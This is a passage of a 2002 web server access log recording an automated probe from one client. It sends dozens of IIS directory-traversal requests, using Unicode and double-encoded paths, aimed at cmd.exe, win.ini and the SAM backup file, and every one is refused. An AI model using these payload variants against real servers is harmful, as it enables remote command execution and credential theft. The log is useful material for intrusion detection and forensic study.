/msadc/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/msadc/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/Rpc/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/msadc/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/samples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/samples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/samples/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/msadc/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/samples/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/msadc/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/script/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/script/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/scripts/..%%35%63../..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/PBServer/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/PBServer/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/PBServer/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/scripts/..%%35c../..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/PBServer/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/PBServer/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/PBServer/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c%20dir%20C:
\ HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/Rpc/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c%20dir%20C:\
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/Rpc/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/Rpc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/Rpc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/Rpc/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/Rpc/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/samples/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/samples/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/samples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/samples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c
+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/script/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/..%25%35%63../..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+di
r HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c
+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/..%255c../..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c%20dir%
20C:\ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/scripts/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c%20dir%20C:\
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/script/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+
dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/_mem_bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd
.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/_mem_bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:12 +0200] "HEAD
/_mem_bin/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_mem_bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd
.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_cnf/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd
.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_cnf/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:13 +0200] "HEAD
/_vti_cnf/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/_vti_cnf/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/_vti_cnf/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/_vti_cnf/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/_vti_cnf/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/_vti_cnf/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/.%u002e/.%u002e/.%u002e/.%u002e/winnt/win.ini HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/.%u002e/.%u002e/.%u002e/..\winnt\repair\sam._ HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/..%u00255c../..%u00255c../winnt/win.ini HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/..%u00255c../..%u00255c..\winnt\repair\sam._ HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/..%u002f../..%u002f../winnt/win.ini HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/..%u002f../..%u002f..\winnt\repair\sam._ HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/..%u005c../..%u005c../winnt/win.ini HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/a.asp/..%u005c../..%u005c..\winnt\repair\sam._ HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cm
d.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+
dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/adsamples/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?
/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/scripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:14 +0200] "HEAD
/bin/scripts/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/bin/scripts/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system
32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/bin/scripts/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/bin/scripts/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/bin/scripts/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/bin/scripts/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/bin/scripts/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?
/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/cgi-bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/exchange/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd
.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/exchange/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
/exchange/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:15 +0200] "HEAD
